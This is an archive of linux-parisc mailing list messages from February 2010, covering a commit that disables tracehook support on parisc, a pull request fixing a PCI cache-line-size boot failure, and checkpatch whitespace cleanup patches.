Gitweb:     http://git.kernel.org/tip/5e6dbc260704ce4d22fc9664f517f0bb6748feaa
Author:     Roland McGrath <roland@redhat.com>
AuthorDate: Mon, 22 Feb 2010 10:37:07 -0800
Committer:  H. Peter Anvin <hpa@zytor.com>
CommitDate: Tue, 23 Feb 2010 10:34:41 -0800

parisc: Disable CONFIG_HAVE_ARCH_TRACEHOOK

> FYI, this commit broke tip:master on PARISC (other architectures are fine):
>
>  kernel/built-in.o: In function `ptrace_request':
>  (.text.ptrace_request+0x2cc): undefined reference to `task_user_regset_view'

This means that parisc failed to meet the documented requirements for
setting CONFIG_HAVE_ARCH_TRACEHOOK, but set it anyway.  If arch folks don't
follow the specs, it defeats the whole purpose of having clear statements
of requirements for arch code.

Until parisc finishes up its requirements, disable CONFIG_HAVE_ARCH_TRACEHOOK.

Signed-off-by: H. Peter Anvin <hpa@zytor.com>
LKML-Reference: <20100222183707.8749D64C@magilla.sf.frob.com>
Cc: <linux-parisc@vger.kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
---
 arch/parisc/Kconfig |    1 -
 1 files changed, 0 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 524d935..f388dc6 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -18,7 +18,6 @@ config PARISC
 	select BUG
 	select HAVE_PERF_EVENTS
 	select GENERIC_ATOMIC64 if !64BIT
-	select HAVE_ARCH_TRACEHOOK
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
 	  in many of their workstations & servers (HP9000 700 and 800 series,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kmcmartin@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Tue, 23 Feb 2010 19:58:41 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20100224005841.GL16620@ihatethathostname.lab.bos.redhat.com>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
 <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
 <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com>
 <119aab441002230456v12891012y85ca6ffc3ba8c0b5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1266973144 17692 80.91.229.12 (24 Feb 2010 00:59:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2010 00:59:04 +0000 (UTC)
Cc: Kyle McMartin <kmcmartin@redhat.com>,
	Grant Grundler <grundler@google.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 01:58:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nk5aZ-0002nF-Pt
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Feb 2010 01:58:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752330Ab0BXA6y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2010 19:58:54 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:54922 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751998Ab0BXA6y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2010 19:58:54 -0500
Original-Received: from int-mx03.intmail.prod.int.phx2.redhat.com (int-mx03.intmail.prod.int.phx2.redhat.com [10.5.11.16])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id o1O0whp2008314
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 23 Feb 2010 19:58:44 -0500
Original-Received: from ihatethathostname.lab.bos.redhat.com (ihatethathostname.lab.bos.redhat.com [10.16.43.238])
	by int-mx03.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id o1O0wg4F025981
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 23 Feb 2010 19:58:43 -0500
Original-Received: from ihatethathostname.lab.bos.redhat.com (ihatethathostname.lab.bos.redhat.com [127.0.0.1])
	by ihatethathostname.lab.bos.redhat.com (8.14.3/8.14.3) with ESMTP id o1O0wgu3027725;
	Tue, 23 Feb 2010 19:58:42 -0500
Original-Received: (from kyle@localhost)
	by ihatethathostname.lab.bos.redhat.com (8.14.3/8.14.3/Submit) id o1O0wfss027723;
	Tue, 23 Feb 2010 19:58:41 -0500
Content-Disposition: inline
In-Reply-To: <119aab441002230456v12891012y85ca6ffc3ba8c0b5@mail.gmail.com>
User-Agent: Mutt/1.5.20 (2009-08-17)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.16
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2665
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2665>

On Tue, Feb 23, 2010 at 07:56:23AM -0500, Carlos O'Donell wrote:
> You're welcome!
> 
> I'm building directly from here:
> git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
> 
> Is this correct? My assumption is that you keep this branch up to date
> as you pull/test for parisc?
> 

I will, yes. I haven't pushed out an update since I haven't managed to
build/boot test it yet, but it's chugging away right now.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Tue, 23 Feb 2010 22:32:34 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab441002231932l2c09e37bt2965a7d9304f39d9@mail.gmail.com>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com>
	 <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com>
	 <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com>
	 <119aab441002230456v12891012y85ca6ffc3ba8c0b5@mail.gmail.com>
	 <20100224005841.GL16620@ihatethathostname.lab.bos.redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1266982362 6010 80.91.229.12 (24 Feb 2010 03:32:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2010 03:32:42 +0000 (UTC)
Cc: Grant Grundler <grundler@google.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Kyle McMartin <kmcmartin@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 04:32:37 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nk7zJ-0003Xk-B6
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Feb 2010 04:32:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754822Ab0BXDcg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2010 22:32:36 -0500
Original-Received: from mail-wy0-f174.google.com ([74.125.82.174]:54482 "EHLO
	mail-wy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754758Ab0BXDcg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2010 22:32:36 -0500
Original-Received: by wya21 with SMTP id 21so961291wya.19
        for <linux-parisc@vger.kernel.org>; Tue, 23 Feb 2010 19:32:35 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=/aH3bYUSPklqjUFOsvbGACM4IuHm7UMBcGtMbshOAn8=;
        b=gLjGLs9v4nDitiUyUYKWc7wgaxCiIBoVITEQ4O8vDbjpKjyKN4syQrsHtQfVbmR+n6
         asQs8KBgIHwOSobcibH8JrztM+Q2nEsqDeVe1jsjDy23D6/jrl/5XZEkPT25mfuVnxxs
         8JUiND+dr+YBmz6011rzZJMtjNMuXK5H4Fq4U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=AU/V46EYWQEY9OblL1Tm3B+4VBHTq95vuCnEqfFPlX7oNPUDpoH2j2VtQjNsBB73ft
         k3o92MW0gwnIptvitUJ7LUaELOnW9W55u+An4zjYMM+1VFVxj4gqQE0rLF/Ez14aBbD2
         5es02Xn7L24pBhyn36olqlod/ZVjIfEY2OjZ8=
Original-Received: by 10.216.88.79 with SMTP id z57mr2412225wee.22.1266982354956; Tue, 
	23 Feb 2010 19:32:34 -0800 (PST)
In-Reply-To: <20100224005841.GL16620@ihatethathostname.lab.bos.redhat.com>
X-Google-Sender-Auth: 2ae74f2286349c36
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2666
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2666>

On Tue, Feb 23, 2010 at 7:58 PM, Kyle McMartin <kmcmartin@redhat.com> wrote:
> On Tue, Feb 23, 2010 at 07:56:23AM -0500, Carlos O'Donell wrote:
>> You're welcome!
>>
>> I'm building directly from here:
>> git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
>>
>> Is this correct? My assumption is that you keep this branch up to date
>> as you pull/test for parisc?
>>
>
> I will, yes. I haven't pushed out an update since I haven't managed to
> build/boot test it yet, but it's chugging away right now.

Sorry Kyle, I hope you didn't think I was impling that you were slow
to update. You're doing a great job. I'm just a toolchain dude, my
happy day involves a kernel that doesn't eat my filesystem. I'm have
fun fixing the userspace bits.

Now that I can boot a recent kernel I'm back to fixing vfork/execve
issues as reported by debian. Wish me luck.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI patch breaks boot on rp2470 (2xPA8700)
Date: Tue, 23 Feb 2010 23:22:35 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20100224042235.GC21734@bombadil.infradead.org>
References: <119aab441002221525m4595b37w875891cd8f95e633@mail.gmail.com> <da824cf31002221654if698808i88709293223b5cd3@mail.gmail.com> <20100223014958.GI16620@ihatethathostname.lab.bos.redhat.com> <119aab441002230456v12891012y85ca6ffc3ba8c0b5@mail.gmail.com> <20100224005841.GL16620@ihatethathostname.lab.bos.redhat.com> <119aab441002231932l2c09e37bt2965a7d9304f39d9@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1266985371 12262 80.91.229.12 (24 Feb 2010 04:22:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2010 04:22:51 +0000 (UTC)
Cc: Grant Grundler <grundler@google.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 05:22:46 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nk8lm-0007Mo-AX
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Feb 2010 05:22:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755237Ab0BXEWl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Feb 2010 23:22:41 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40245 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755244Ab0BXEWk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Feb 2010 23:22:40 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Nk8lf-0007Pl-Jd; Wed, 24 Feb 2010 04:22:35 +0000
Content-Disposition: inline
In-Reply-To: <119aab441002231932l2c09e37bt2965a7d9304f39d9@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2667>

On Tue, Feb 23, 2010 at 10:32:34PM -0500, Carlos O'Donell wrote:
> Sorry Kyle, I hope you didn't think I was impling that you were slow
> to update. You're doing a great job. I'm just a toolchain dude, my
> happy day involves a kernel that doesn't eat my filesystem. I'm have
> fun fixing the userspace bits.
> 

I didn't mean it like that at all, I just plan on sending it immediately
to Linus for 2.6.33, so I wanted to make sure it built on a bunch of
different configs.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [git patches] boot fix for 2.6.33 for parisc
Date: Wed, 24 Feb 2010 17:36:23 +0000
Lines: 59
Approved: news@gmane.org
Message-ID: <20100224173623.GA21614@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1267032997 7530 80.91.229.12 (24 Feb 2010 17:36:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 24 Feb 2010 17:36:37 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 24 18:36:32 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NkL9v-0000gx-09
	for glpp-linux-parisc@lo.gmane.org; Wed, 24 Feb 2010 18:36:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756490Ab0BXRg0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Feb 2010 12:36:26 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:45198 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756344Ab0BXRgZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Feb 2010 12:36:25 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id o1OHaN21025239
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 24 Feb 2010 17:36:23 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.95.2 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id o1OHaNra025238;
	Wed, 24 Feb 2010 17:36:23 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
X-Spam-Status: No, score=-1.6 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00,
	FH_DATE_PAST_20XX autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Wed, 24 Feb 2010 17:36:23 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2668 gmane.linux.kernel:953778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2668>

Hi Linus, please pull the following change for parisc to fix and issue
which prevents Linux from booting. (Short summary: PCI CLS was being set
from the default by the PCI layer *after* fixups, which meant sym2
fixups had an unset PCI CLS, which meant we couldn't find the root
disk.)

regards, Kyle

The following changes since commit 75ef7cdda2daa35be9e070ac8e5258759ac03d06:
  Linus Torvalds (1):
        Merge git://git.kernel.org/.../davem/net-2.6

are available in the git repository at:

  master.kernel.org:/pub/scm/linux/kernel/git/kyle/parisc-2.6.git urgent

Carlos O'Donell (1):
      parisc: Set PCI CLS early in boot.

 arch/parisc/kernel/pci.c |    7 +++++--
 1 files changed, 5 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index f7064ab..9e74bfe 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -18,7 +18,6 @@
 
 #include <asm/io.h>
 #include <asm/system.h>
-#include <asm/cache.h>		/* for L1_CACHE_BYTES */
 #include <asm/superio.h>
 
 #define DEBUG_RESOURCES 0
@@ -123,6 +122,10 @@ static int __init pcibios_init(void)
 	} else {
 		printk(KERN_WARNING "pci_bios != NULL but init() is!\n");
 	}
+
+	/* Set the CLS for PCI as early as possible. */
+	pci_cache_line_size = pci_dfl_cache_line_size;
+
 	return 0;
 }
 
@@ -171,7 +174,7 @@ void pcibios_set_master(struct pci_dev *dev)
 	** upper byte is PCI_LATENCY_TIMER.
 	*/
 	pci_write_config_word(dev, PCI_CACHE_LINE_SIZE,
-				(0x80 << 8) | (L1_CACHE_BYTES / sizeof(u32)));
+			      (0x80 << 8) | pci_cache_line_size);
 }
 
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 01/66] arch/parisc/include/asm/percpu.h: Checkpatch cleanup
Date: Sat, 27 Feb 2010 17:50:42 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1267289508-31031-2-git-send-email-andrea.gelmini@gelma.net>
References: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1267289591 6455 80.91.229.12 (27 Feb 2010 16:53:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 27 Feb 2010 16:53:11 +0000 (UTC)
Cc: Andrea Gelmini <andrea.gelmini@gelma.net>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Feb 27 17:53:06 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NlPub-0005Vs-Te
	for glk-linux-kernel-3@lo.gmane.org; Sat, 27 Feb 2010 17:53:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030214Ab0B0QwJ (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 27 Feb 2010 11:52:09 -0500
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:41119 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S968594Ab0B0QwE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 27 Feb 2010 11:52:04 -0500
Original-Received: by mail-bw0-f209.google.com with SMTP id 1so331825bwz.21
        for <multiple recipients>; Sat, 27 Feb 2010 08:52:03 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=/iltvqbRC7E48X9hV3td8tm4xm8EhJsirqbZT8dH4jg=;
        b=lgr9iycZ01xaaNoAhxsAiJnWdbJiOr1kVjYqCJgdzyS3S/IMGZzk1O3Ovjh+jM/f4y
         vaj61uE8H21J12CQ6Fsq3bUwvU0dHyQcVXA+IN3kkYdxw9yuH5qYzOqcLNtfGJkQwVh+
         Cl15VbM1RcC3NyCwPMc0UiBAJctngRkzzMN38=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=PK5AiJ0Vrt68POkl+ja7+N2H8RtiP3H+7uxzzQm3d9LbXdtqWGbP6H7/ZT/hNBO+y0
         1Iq7obWKg32ZSZpswSUgPBC9KcnYrk5wx5kkTmGXF9OSa/FdkLjUeWO8TjPcUlDCXqlX
         p4/d0UYvdMAhlSqOh1UjsN96gix0oPLND6Aks=
Original-Received: by 10.204.140.27 with SMTP id g27mr1392734bku.116.1267289523133;
        Sat, 27 Feb 2010 08:52:03 -0800 (PST)
Original-Received: from localhost (net-93-145-196-35.t2.dsl.vodafone.it [93.145.196.35])
        by mx.google.com with ESMTPS id 15sm825838bwz.12.2010.02.27.08.52.01
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 27 Feb 2010 08:52:02 -0800 (PST)
X-Mailer: git-send-email 1.7.0.90.g251a4
In-Reply-To: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:955233 gmane.linux.ports.parisc:2669
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2669>

arch/parisc/include/asm/percpu.h:6: ERROR: trailing whitespace

Signed-off-by: Andrea Gelmini <andrea.gelmini@gelma.net>
---
 arch/parisc/include/asm/percpu.h |    3 +--
 1 files changed, 1 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/include/asm/percpu.h b/arch/parisc/include/asm/percpu.h
index a0dcd19..fb92561 100644
--- a/arch/parisc/include/asm/percpu.h
+++ b/arch/parisc/include/asm/percpu.h
@@ -3,5 +3,4 @@
 
 #include <asm-generic/percpu.h>
 
-#endif 
-
+#endif
-- 
1.7.0.90.g251a4


From - Thu Nov 08 21:05:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrea Gelmini <andrea.gelmini@gelma.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 19/66] arch/parisc/include/asm/current.h: Checkpatch cleanup
Date: Sat, 27 Feb 2010 17:51:00 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1267289508-31031-20-git-send-email-andrea.gelmini@gelma.net>
References: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1267289676 6698 80.91.229.12 (27 Feb 2010 16:54:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 27 Feb 2010 16:54:36 +0000 (UTC)
Cc: Andrea Gelmini <andrea.gelmini@gelma.net>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Feb 27 17:54:30 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NlPvy-00061u-CP
	for glk-linux-kernel-3@lo.gmane.org; Sat, 27 Feb 2010 17:54:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030332Ab0B0Qx7 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 27 Feb 2010 11:53:59 -0500
Original-Received: from mail-bw0-f209.google.com ([209.85.218.209]:41119 "EHLO
	mail-bw0-f209.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1030322Ab0B0Qxr (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 27 Feb 2010 11:53:47 -0500
Original-Received: by mail-bw0-f209.google.com with SMTP id 1so331825bwz.21
        for <multiple recipients>; Sat, 27 Feb 2010 08:53:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:sender:from:to:cc:subject
         :date:message-id:x-mailer:in-reply-to:references;
        bh=OH7SeOhbgaC80h/8Pxdbc2dZOV8m6Ygl657D3gCDYWs=;
        b=BOpikDjbz0iXCekfNeDyu1nFU+bomTEwLm42DgNr6TicPvOm6WMYAWi41/k6Uqij3X
         tl4Z5CRVkKo26p5k+x9pfN+X7n3hZdjXZIDOhMSlztQjLKgDYEnS/TCUoe5HnwmDOEaT
         rYCFUProyZPmdB/7R0p4UDdjzCaQh1uTh+uJw=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=sender:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        b=WgaS+SsHs7Yhpc2iI6vTCBCZVnG5GpstnqLSvulYb0K30Gyljr4SfIqcGzhj6QUCcj
         bN4dUgCKF/i1vtqHBsP10HXijXFrV/HPTTRljUzcPPeAHDoVPjYCPzoVc/LXC2+L1WTT
         wBN4SDEjmBZOMPHmWpclfSeitMIAion5rxWdY=
Original-Received: by 10.204.33.137 with SMTP id h9mr1396013bkd.134.1267289626873;
        Sat, 27 Feb 2010 08:53:46 -0800 (PST)
Original-Received: from localhost (net-93-145-196-35.t2.dsl.vodafone.it [93.145.196.35])
        by mx.google.com with ESMTPS id 16sm827527bwz.1.2010.02.27.08.53.45
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sat, 27 Feb 2010 08:53:46 -0800 (PST)
X-Mailer: git-send-email 1.7.0.90.g251a4
In-Reply-To: <1267289508-31031-1-git-send-email-andrea.gelmini@gelma.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:955243 gmane.linux.ports.parisc:2670
